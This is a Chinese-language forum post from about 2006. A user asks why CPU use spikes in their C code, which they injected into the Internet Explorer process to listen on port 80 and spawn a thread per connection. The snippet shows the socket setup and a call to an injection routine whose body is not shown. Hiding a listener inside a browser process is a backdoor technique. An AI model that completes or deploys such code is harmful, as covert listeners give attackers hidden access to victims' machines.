pomelo
发贴 3
注册 2005-12-9
状态 离线
|
to Polymorphours:
我试了一下你的代码,在IE进程里插入了自己的一段代码,该代码的作用是监听80端口。
现在的问题是当有连接的时候,cpu占用率会飙升到99% 。不知如何解决,请指教。
代码片断:
int main(void)
{
if (InjectProcess() )
{
MessageBox(NULL,"local","Text",MB_OK);
}
else
{
//MessageBox(NULL,"进程插入完成","Text",MB_OK);
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
if( gethostname ( name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list);
}
}
saddr.sin_addr.s_addr = inet_addr(ip);
saddr.sin_port = htons(80);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
}
return 0;
}
[ Last edited by pomelo on 2006-1-13 at 10:27 AM ] |
|